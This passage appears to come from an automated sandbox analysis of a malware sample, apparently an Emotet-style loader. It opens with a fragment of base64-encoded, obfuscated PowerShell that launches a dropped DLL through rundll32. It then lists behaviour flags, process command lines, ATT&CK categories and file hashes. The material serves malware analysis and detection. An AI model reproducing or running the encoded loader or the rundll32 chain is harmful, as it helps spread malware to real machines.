AALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkABlocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exePID:1796"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exePID:2248"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0Blocklisted process makes network requestLoads dropped DLLChecks whether UAC is enabled
Network
MITRE ATT&CK Matrix
Collection
Command and Control
Credential Access
Defense Evasion
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Replay Monitor
00:00
00:00
Downloads
-
C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll
MD5455e8c40a659762249a13b5ef6cfb2cb
SHA1818423b1fc4f4149e2bda0feb359c1605de1eb6c
SHA2568ceb186696c9bda47466e5ecd1d0f0d5f93318e8bdc6b42454dd3be884e99e33
SHA5127ba2b6f6c452009e74a31a0da2bc3a27e565fe12997c33cb0e8cf9397cd61ec232e2870516aa94e4f2affd2291f6b728b77775a6f8732dd5133a4df28a341123
-
\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll
MD5455e8c40a659762249a13b5ef6cfb2cb
SHA1818423b1fc4f4149e2bda0feb359c1605de1eb6c
SHA2568ceb186696c9bda47466e5ecd1d0f0d5f93318e8bdc6b42454dd3be884e99e33
SHA5127ba2b6f6c452009e74a31a0da2bc3a27e565fe12997c33cb0e8cf9397cd61ec232e2870516aa94e4f2affd2291f6b728b77775a6f8732dd5133a4df28a341123
-
memory/744-4-0x0000024B3D18A000-0x0000024B3D18E000-memory.dmp
-
memory/744-6-0x0000024B3D18A000-0x0000024B3D18E000-memory.dmp
-
memory/744-7-0x0000024B3D18A000-0x0000024B3D18E000-memory.dmp
-
memory/744-0-0x0000024B34F40000-0x0000024B35577000-memory.dmp
-
memory/744-5-0x0000024B3D18E000-0x0000024B3D194000-memory.dmp
-
memory/1348-8-0x0000000000000000-mapping.dmp
-
memory/1796-13-0x0000000000000000-mapping.dmp
-
memory/2128-10-0x00007FFD66FF0000-0x00007FFD679DC000-memory.dmp
-
memory/2128-12-0x0000019974AA0000-0x0000019974AA1000-memory.dmp
-
memory/2128-11-0x0000019974720000-0x0000019974721000-memory.dmp
-
memory/2128-9-0x0000000000000000-mapping.dmp
-
memory/2248-15-0x0000000000000000-mapping.dmp
-
memory/2248-17-0x0000000000DC0000-0x0000000000DFD000-memory.dmp
Title
Loading Data